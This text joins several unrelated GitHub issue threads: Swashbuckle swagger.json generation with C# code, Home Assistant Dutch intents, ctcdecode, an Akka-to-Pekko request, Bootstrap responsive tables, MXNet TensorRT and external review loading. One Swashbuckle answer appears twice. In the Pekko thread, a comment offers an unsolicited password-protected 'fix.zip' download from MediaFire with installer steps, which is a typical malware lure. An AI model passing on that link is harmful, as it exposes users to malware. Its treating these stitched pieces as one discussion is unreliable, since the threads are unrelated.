Hope that helps! I've successfully used this method along with the AutoRest project to generate .NET client code for my WebAPI project every time I build my solution.

I didn't ask the original question but thank you for the detailed response. Will try this out tomorrow.

@chartek Thanks for the answer!
I already did almost the same thing, but didn't write about it here.
My code is pretty similar haha, except I don't use TestServer.
Actually I missed this thing about Microsoft.Owin.Testing and its capability to run in-memory.
Many thanks you pointed it out!
Initially what I wanted to know - if it's possible to generate swagger.json documentation file manually from code without running WebAPI?
It seems the final, full and correct answer is:
No, it's not possible to generate swagger.json without running WebAPI project.
The simplest way to run and generate swagger.json file is to run self-hosted OWIN WebAPI using in-memory hosting capability of Microsoft.Owin.Testing.
I also provide my code below, although it's pretty similar to @chartek code above. Hope it would help somebody.
Created the separate project to run Self-Hosted Web API using OWIN.
Here is host startup file.
namespace MyWebApi.SelfHosted
{
    public class WebApiHostStartup
    {
        public void Configuration(IAppBuilder appBuilder)
        {
            // Configure Web API for self-host.
            var config = new HttpConfiguration();

            WebApiConfig.Register(config);

            ConfigureSwagger(config);
            //ConfigureUnity(config);

            appBuilder.UseWebApi(config);
        }

        private static void ConfigureSwagger(HttpConfiguration httpConfiguration)
        {
            httpConfiguration
                .EnableSwagger(MyWebApi.SwaggerConfig.ConfigureSwagger)
                .EnableSwaggerUi(MyWebApi.SwaggerConfig.ConfigureSwaggerUi);
        }
    }
}

Swagger config is still stored in original WebAPI project.
namespace MyWebApi
{
    public class SwaggerConfig
    {
        public static void Register()
        {
            GlobalConfiguration.Configuration
                .EnableSwagger(ConfigureSwagger)
                .EnableSwaggerUi(ConfigureSwaggerUi);
        }

        public static void ConfigureSwagger(SwaggerDocsConfig c)
        {
            c.SingleApiVersion("v1", "MyWebApi");
        }

        public static void ConfigureSwaggerUi(SwaggerUiConfig c)
        {
            //c.InjectStylesheet(containingAssembly, "Swashbuckle.Dummy.SwaggerExtensions.testStyles1.css");
            //c.InjectJavaScript(thisAssembly, "Swashbuckle.Dummy.SwaggerExtensions.testScript1.js");
            //c.BooleanValues(new[] { "0", "1" });
            //c.SetValidatorUrl("http://localhost/validator");
            //c.DisableValidator();
            //c.DocExpansion(DocExpansion.List);
            //c.CustomAsset("index", containingAssembly, "YourWebApiProject.SwaggerExtensions.index.html");
            //c.EnableDiscoveryUrlSelector();
            //c.EnableOAuth2Support("test-client-id", "test-realm", "Swagger UI");
        }
    }
}

And running the self-hosted project from the console app entry-point.
namespace MyWebApi.SelfHosted
{
    public class Program
    {
        private const string BaseAddress = "http://localhost:8080";

        public static void Main(string[] args)
        {
            // Start OWIN host
            using (WebApp.Start<WebApiHostStartup>(BaseAddress))
            {
                using (var client = new HttpClient { BaseAddress = new Uri(BaseAddress) })
                {
                    HttpResponseMessage response = client.GetAsync("swagger/docs/v1").Result;
                    string content = response.Content.ReadAsStringAsync().Result;
                    File.WriteAllText("swagger.json", content);
                }
            }
        }
    }
}

If you don't mind dropping down to a lower level, forfiting some of the fluent config, you may find the following approach a bit easier:
using System.Web.Http;
using System.Collections.Generic;
using System.Linq;
using NUnit.Framework;
using Swashbuckle.Dummy;
using Swashbuckle.Swagger;
using Newtonsoft.Json;
using Swashbuckle.Application;

namespace Swashbuckle.Tests
{
    [TestFixture]
    public class Spike
    {
        [Test]
        public void GetSwagger()
        {
            var httpConfig = new HttpConfiguration();

            // 1) Apply your WebApi config.
            WebApiConfig.Register(httpConfig);
            httpConfig.EnsureInitialized();

            // 2) Generate in-memory swagger doc
            var swaggerProvider = new SwaggerGenerator(
                httpConfig.Services.GetApiExplorer(),
                httpConfig.Formatters.JsonFormatter.SerializerSettings,
                new Dictionary<string, Info> { { "v1", new Info { version = "v1", title = "My API" } } },
                new SwaggerGeneratorOptions(
                    // apply your swagger options here ...
                    schemaIdSelector: (type) => type.FriendlyId(true),
                    conflictingActionsResolver: (apiDescriptions) => apiDescriptions.First()
                )
            );
            var swaggerDoc = swaggerProvider.GetSwagger("http://tempuri.org/api", "v1");

            // 3) Serialize
            var swaggerString = JsonConvert.SerializeObject(
                swaggerDoc,
                Formatting.Indented,
                new JsonSerializerSettings
                {
                    NullValueHandling = NullValueHandling.Ignore,
                    Converters = new[] { new VendorExtensionsConverter() }
                }
            );
        }
    }
}

@domaindrivendev  Thanks for the answer! I already use self-hosted approach, but maybe I will reconsider it in future.

@domaindrivendev - thank you very much for this succinct, reusable snippet.
We have been able to add more options like the securityDefinitions etc. into the SwaggerGeneratorOptions constructor - but could not figure out how config.IncludeXmlComments() (as described here) can be brought into this format.
Is this doable? And if it is, can you please show how?

Hello @domaindrivendev,
I'm using your code from previous answer, but I could not figure out how I  could generate xml comments as part of swaggerDoc (looks like @floydpink has same problem ) , could you help with that?

To add xml comments using the solution @domaindrivendev gave above there is an operation filter called
ApplyXmlActionComments in Swashbuckle.Swagger.XmlComments in which you can just pass it the location of the xml file as a string
new Swashbuckle.Swagger.XmlComments.ApplyXmlActionComments("location of xml file"));

Hi,
I'm not sure whether this question sounds weird. But I was wondering when we can create a swagger.json file from our web api controller. So, is there a way where we can generate controller and all action methods automatically in my web api controller locally using the swagger.json file.
I apologize if this question sounds irrelevant. I'm just learning.
Thank you!
Best Regards,
Sandeep

Here is the implementation we came up with. The SwaggerConfig.ConfigureSwagger(swaggerDocsConfig); call is just calling the same Action<SwagerDocsConfig> that  GlobalConfiguration.Configuration.EnableSwagger(Action<SwagerDocsConfig>) is calling. It also uses Microsoft.VisualStudio.TestTools.UnitTesting.PrivateObject to get around the fact that there are no public getters for any of the fields nor a public way to get a SwaggerGeneratorOptions from a SwagerDocsConfig.
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Newtonsoft.Json;
using Swashbuckle.Application;
using Swashbuckle.Swagger;
using Swashbuckle.Swagger.XmlComments;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Threading.Tasks;
using System.Web.Http;
using System.Web.Http.Description;
using System.Xml.XPath;

namespace Example
{
    [TestClass]
    public class SwaggerConfigTests
    {
        [TestMethod]
        public async Task SwaggerTests_ValidateSwagger()
        {
            var httpConfig = new HttpConfiguration();
            var swaggerDocsConfig = new SwaggerDocsConfig();

            // Apply WebApi config.
            WebApiConfig.Register(httpConfig);
            FilterConfig.Register(httpConfig);
            httpConfig.EnsureInitialized();

            // Apply Swagger config
            SwaggerConfig.ConfigureSwagger(swaggerDocsConfig);

            //Generate documentation.
            var swaggerString = GenerateSwaggerDocumentation(httpConfig, swaggerDocsConfig);

            using (WebClient client = new WebClient())
            {
                client.Headers["Content-Type"] = "application/json";
                var result = await client.UploadStringTaskAsync("http://online.swagger.io/validator/debug", "POST", swaggerString);

                if (result != "{}")
                {
                    Assert.Fail("Swagger Validation Failed with the following validation errors:\n{0}", result);
                }
            }
        }

        private static string GenerateSwaggerDocumentation(HttpConfiguration httpConfig, SwaggerDocsConfig swaggerDocsConfig)
        {
            var options = GetSwaggerGeneratorOptions(swaggerDocsConfig);

            var swaggerProvider = new SwaggerGenerator(
                httpConfig.Services.GetApiExplorer(),
                httpConfig.Formatters.JsonFormatter.SerializerSettings,
                new Dictionary<string, Info> { { "v1", new Info { version = "v1", title = "UnitTest" } } },
                options);

            var swaggerDoc = swaggerProvider.GetSwagger("https://example.org", "v1");
            var swaggerString = JsonConvert.SerializeObject(
                swaggerDoc,
                Formatting.Indented,
                new JsonSerializerSettings { NullValueHandling = NullValueHandling.Ignore, Converters = new[] { new VendorExtensionsConverter() } });
            return swaggerString;
        }

        private static SwaggerGeneratorOptions GetSwaggerGeneratorOptions(SwaggerDocsConfig swaggerDocsConfig)
        {
            var privateDoc = new PrivateObject(swaggerDocsConfig);

            Dictionary<string, SecurityScheme> dictionary = ((IDictionary<string, SecuritySchemeBuilder>)privateDoc.GetField("_securitySchemeBuilders")).Any()
                                                                ? ((IDictionary<string, SecuritySchemeBuilder>)privateDoc.GetField("_securitySchemeBuilders")).ToDictionary(
                                                                    kvp => kvp.Key,
                                                                    kvp =>
                                                                    {
                                                                        var privateBuilder = new PrivateObject(kvp.Value);
                                                                        return (SecurityScheme)privateBuilder.Invoke("Build", BindingFlags.Instance | BindingFlags.NonPublic);
                                                                    })
                                                                : null;
            List<IModelFilter> list1 = ((IList<Func<IModelFilter>>)privateDoc.GetField("_modelFilters")).Select(factory => factory()).ToList();
            List<IOperationFilter> list2 = ((IList<Func<IOperationFilter>>)privateDoc.GetField("_operationFilters")).Select(factory => factory()).ToList();
            foreach (Func<XPathDocument> xmlDocFactory in (IEnumerable<Func<XPathDocument>>)privateDoc.GetField("_xmlDocFactories"))
            {
                XPathDocument xmlDoc = xmlDocFactory();
                list1.Insert(0, new ApplyXmlTypeComments(xmlDoc));
                list2.Insert(0, new ApplyXmlActionComments(xmlDoc));
            }

            SwaggerGeneratorOptions options = new SwaggerGeneratorOptions(
                (Func<ApiDescription, string, bool>)privateDoc.GetField("_versionSupportResolver"),
                (IEnumerable<string>)privateDoc.GetField("_schemes"),
                dictionary,
                (bool)privateDoc.GetField("_ignoreObsoleteActions"),
                (Func<ApiDescription, string>)privateDoc.GetField("_groupingKeySelector"),
                (IComparer<string>)privateDoc.GetField("_groupingKeyComparer"),
                (IDictionary<Type, Func<Schema>>)privateDoc.GetField("_customSchemaMappings"),
                ((IList<Func<ISchemaFilter>>)privateDoc.GetField("_schemaFilters")).Select(factory => factory()).ToList(),
                list1,
                (bool)privateDoc.GetField("_ignoreObsoleteProperties"),
                (Func<Type, string>)privateDoc.GetField("_schemaIdSelector"),
                (bool)privateDoc.GetField("_describeAllEnumsAsStrings"),
                (bool)privateDoc.GetField("_describeStringEnumsInCamelCase"),
                (bool)privateDoc.GetField("_applyFiltersToAllSchemas"),
                list2,
                ((IList<Func<IDocumentFilter>>)privateDoc.GetField("_documentFilters")).Select(factory => factory()).ToList(),
                (Func<IEnumerable<ApiDescription>, ApiDescription>)privateDoc.GetField("_conflictingActionsResolver"));
            return options;
        }
    }
}

FYIL I know this isn't exactly the answer many people are looking for, but if you happen to be using Swashbuckle.AspNetCore then you have the option of generating the .json file without deploying from the CLI
https://github.com/domaindrivendev/Swashbuckle.AspNetCore#swashbuckleaspnetcorecli
This solution was discussed in this thread https://github.com/domaindrivendev/Swashbuckle.AspNetCore/issues/541 (again, it's somewhat dot net core-specific)

If you don't mind dropping down to a lower level, forfiting some of the fluent config, you may find the following approach a bit easier:
using System.Web.Http;
using System.Collections.Generic;
using System.Linq;
using NUnit.Framework;
using Swashbuckle.Dummy;
using Swashbuckle.Swagger;
using Newtonsoft.Json;
using Swashbuckle.Application;

namespace Swashbuckle.Tests
{
    [TestFixture]
    public class Spike
    {
        [Test]
        public void GetSwagger()
        {
            var httpConfig = new HttpConfiguration();

            // 1) Apply your WebApi config.
            WebApiConfig.Register(httpConfig);
            httpConfig.EnsureInitialized();

            // 2) Generate in-memory swagger doc
            var swaggerProvider = new SwaggerGenerator(
                httpConfig.Services.GetApiExplorer(),
                httpConfig.Formatters.JsonFormatter.SerializerSettings,
                new Dictionary<string, Info> { { "v1", new Info { version = "v1", title = "My API" } } },
                new SwaggerGeneratorOptions(
                    // apply your swagger options here ...
                    schemaIdSelector: (type) => type.FriendlyId(true),
                    conflictingActionsResolver: (apiDescriptions) => apiDescriptions.First()
                )
            );
            var swaggerDoc = swaggerProvider.GetSwagger("http://tempuri.org/api", "v1");

            // 3) Serialize
            var swaggerString = JsonConvert.SerializeObject(
                swaggerDoc,
                Formatting.Indented,
                new JsonSerializerSettings
                {
                    NullValueHandling = NullValueHandling.Ignore,
                    Converters = new[] { new VendorExtensionsConverter() }
                }
            );
        }
    }
}

This code to support on .NET Framework, but it's not support .NET Core
How to import to .NET Core ?


[NL] add variations for light toggling

I tried adding <doe> [het] <area>licht [<naar>] aan to the light_HassTurnOn. But  decided against including it, since this will lead to clashes with the HomeAssistant_HassTurnOn  sentences

whoops, didn't mean to remove @TheFes.
sorry about that

Thanks for merging. I was ill the last couple of days so am happy to see this closed :)


could the ctcdecode be serialized and executed in non-Python environments, such as torchscript?

CTC decoder is exposed to Python via PyBind11, therefore it does not support TorchScript. To use the CTC decoder in non-Python environment, I think it is more straightforward to use the C++ API from the upstream project. https://github.com/flashlight/text

我已收到，。


Change Akka to Pekko

Currently, Akka is licensed under the Business Source License. So, I want to you change from Akka to Pekko for Free License
Please update this as soon as possible.
Thank you so much

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Thank you for your suggestion. Currently, none of the modules in the refuel2 series depend on Akka. Could you please confirm if you are using refuel-http or refuel-auth-provider? If you are using refuel-http, I recommend switching to Pekko-HTTP, as there are no immediate plans for further development of refuel-http. If you are using refuel-auth-provider, we will consider making the necessary updates.
Thank you once again for your input.

@giiita
Thank you for your answer 🙇♂


Responsive table doesn't work within a table

Responsive table doesn't work as expected when placed inside a div with CSS property display set to table, table-row or table-cell. Horizontal scrollbar appears at the bottom of the page, not at the table itself. This causes layout to break. Removing these styles is not acceptable solution for me because they are used on the root containers in the project's base layout.
Tested on both latest Bootstrap 3 and 4:
JSFiddle - Bootstrap 3 responsive table within a table
JSFiddle - Bootstrap 4 responsive table within a table
Related StackOverflow questions:

https://stackoverflow.com/questions/26394072/bootstrap-3-table-table-responsive-not-working
https://stackoverflow.com/questions/19640190/bootstrap-3-table-responsive-inside-displaytable-cell-doesnt-work
https://stackoverflow.com/questions/42729619/css-table-responsive-inside-displaytable-displaytable-row-cell
https://stackoverflow.com/questions/31692323/boostrap-responsive-table-is-not-responsive-inside-a-table

I created the workaround based on setting fixed max-width (as suggested in this StackOverflow answer) and updating it with JS on page load and window resize. It's not perfect, but works. Looking for a better pure CSS solution.

Please can you check your issue with our latest release : https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css

@Johann-S Thanks for the fast reply. I updated JSFiddle for Bootstrap 4 to use CSS from the latest release you mentioned. The problem still exists.

/CC @mdo @andresgalante: judging by the issues we get with responsive tables, we need to come up with something better.

This should've been resolved with the change in Beta 3 to responsive tables—we're back to a parent class. See #25058.


mx.contrib.tensorrt.tensorrt_bind got a bad result!

Environment:mxnet-tensorrt-cu90 tensorrt 4.0, cuda9.0, cudnn 7.1 python3.5
(1)Inference with sym.simple_bind got right  detection result.
executor = sym.simple_bind(ctx=ctx, data=batch_shape, grad_req='null', force_rebind=True)
executor.copy_params_from(arg_params, aux_params)
(2) Inference with mx.contrib.tensorrt.tensorrt_bind got bad result
os.environ['MXNET_USE_TENSORRT'] = '1'
arg_params.update(aux_params)
all_params = dict([(k, v.as_in_context(mx.gpu(1))) for k, v in arg_params.items()])
executor = mx.contrib.tensorrt.tensorrt_bind(sym, ctx=mx.gpu(1), all_params=all_params,
data=batch_shape, grad_req='null', force_rebind=True)
(3)Inference with gluon got right detection result.
self.__model = gluon.nn.SymbolBlock(outputs=mx.sym.load(self.__symbol), inputs=mx.sym.var('data'))
self.__model.load_parameters(self.__params, ctx=self.__ctx)
I don't know why.Thanks for your help! Will using tensort makes a lower accuracy?

Thanks for submitting the issue @lizhen2017
@mxnet-label-bot[Bug]

@KellenSunderland - can you take a look please?

@lizhen2017 Thanks for the report.  Would you be able to share the model you're working with?

@KellenSunderland I implement a tiny-yolov3 network, the network inference well without trt api, and how can share the model?

@KellenSunderland @larroy bouncing...

@mxnet-label-bot [TensorRT]

@lizhen2017 Sorry missed your question.  If you're using the symbol API you can save using https://mxnet.apache.org/api/python/symbol/symbol.html#mxnet.symbol.Symbol.save


Load comments/reviews from external sources

If the article has a DOI, load comments/reviews from external sources that have APIs.

PubMed Commons
Publons
PubPeer
hypothes.is
Twitter (via Altmetric)

Most of these are now either loaded or haven't yet got a usable API.